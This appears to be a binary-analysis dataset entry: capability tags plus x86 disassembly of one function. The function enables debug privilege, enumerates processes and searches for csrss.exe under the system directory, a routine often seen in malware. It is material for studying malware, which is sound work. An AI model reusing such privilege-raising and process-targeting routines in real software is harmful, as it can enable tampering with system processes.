Function at 0x4aae40
Capabilities:
Acquire debug privileges
Enumerate processes
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4fbcd8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x3c4
push ebx
push esi
push edi
lea eax, [ebp - 0x1d0]
mov dword [ebp - 0x10], esp
xor ebx, ebx
push 0x80
push eax
mov dword [ebp - 4], ebx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea ecx, [ebp - 0x14]
mov edi, eax
push ecx
push 0x20
push edi
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x4aaed9
lea edx, [ebp - 0x24]
mov dword [ebp - 0x28], 1
push edx
push 0x50d674
push ebx
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
mov ecx, dword [ebp - 0x14]
push ebx
push ebx
lea eax, [ebp - 0x28]
push 0x10
push eax
push ebx
push ecx
mov dword [ebp - 0x1c], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, dword [ebp - 0x14]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push edx
call esi
jmp 0x4aaedf
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x14]
push eax
call esi
push edi
call esi
push ebx
push 2
mov dword [ebp - 0x18], 0xffffffff
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov edx, eax
mov dword [ebp - 0x18], edx
mov ecx, 0x49
xor eax, eax
lea edi, [ebp - 0x14c]
mov dword [ebp - 0x150], 0x128
rep stosd dword es:[edi], eax
lea ecx, [ebp - 0x150]
mov byte [ebp - 4], 1
push ecx
push edx
call sub.KERNEL32.dll_Process32First
cmp eax, ebx
je 0x4aaf5d
cmp dword [ebp - 0x148], ebx
jne 0x4aaf5d
mov eax, dword [ebp - 0x18]
lea edx, [ebp - 0x150]
push edx
push eax
call sub.KERNEL32.dll_Process32Next
cmp eax, ebx
je 0x4aaf5d
cmp dword [ebp - 0x148], ebx
jne 0x4aaf5d
lea ecx, [ebp - 0x150]
push ecx
lea ecx, [ebp - 0x18]
call fcn.004a6f00
test eax, eax
je 0x4ab0a8
inc ebx
cmp ebx, 0x1f4
jg 0x4ab0a8
mov eax, dword [ebp - 0x148]
lea edx, [ebp - 0x3d0]
push edx
push eax
mov byte [ebp - 0x3d0], 0
mov dword [ebp - 0x14], eax
call fcn.004a6cb0
lea edi, [ebp - 0x3d0]
or ecx, 0xffffffff
xor eax, eax
add esp, 8
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp ecx, 4
jl 0x4ab060
lea eax, [ebp - 0x1d0]
lea ecx, [ebp - 0x2d0]
push eax
push str._scsrss.exe
push ecx
call fcn.004f175f
lea edx, [ebp - 0x3d0]
lea eax, [ebp - 0x2d0]
push edx
push eax
call fcn.004f61e0
add esp, 0x14
test eax, eax
je 0x4ab041
lea ecx, [ebp - 0x1d0]
lea edx, [ebp - 0x2d0]
push ecx
push 0x528418
push edx
call fcn.004f175f
lea eax, [ebp - 0x3d0]
lea ecx, [ebp - 0x2d0]
push eax
push ecx
call fcn.004f61e0
add esp, 0x14
test eax, eax
je 0x4ab041
lea edx, [ebp - 0x1d0]
lea eax, [ebp - 0x2d0]
push edx
push str.___scsrss.exe
push eax
call fcn.004f175f
lea ecx, [ebp - 0x3d0]
lea edx, [ebp - 0x2d0]
push ecx
push edx
call fcn.004f61e0
add esp, 0x14
test eax, eax
jne 0x4ab060
mov eax, dword [ebp - 0x18]
cmp eax, 0xffffffff
je 0x4ab04c
push eax
call esi
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 0x18]
lea eax, [ebp - 0x150]
push eax
push ecx
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x4ab0a8
mov ecx, dword [ebp - 0x148]
test ecx, ecx
jne 0x4aaf5d
lea edx, [ebp - 0x150]
push edx
jmp 0x4aaf55
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edi, eax
lea eax, [ebp - 0x14]
push eax
push 0x20
push edi
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x4ab102
lea ecx, [ebp - 0x24]
mov dword [ebp - 0x28], 1
push ecx
push 0x50d674
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
mov eax, dword [ebp - 0x14]
push 0
push 0
lea edx, [ebp - 0x28]
push 0x10
push edx
push 0
push eax
mov dword [ebp - 0x1c], 0
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [ebp - 0x14]
push ecx
call esi
mov edx, dword [ebp - 0x14]
push edx
call esi
push edi
call esi
mov eax, dword [ebp - 0x18]
cmp eax, 0xffffffff
je 0x4ab116
push eax
call esi
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
xor eax, eax
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret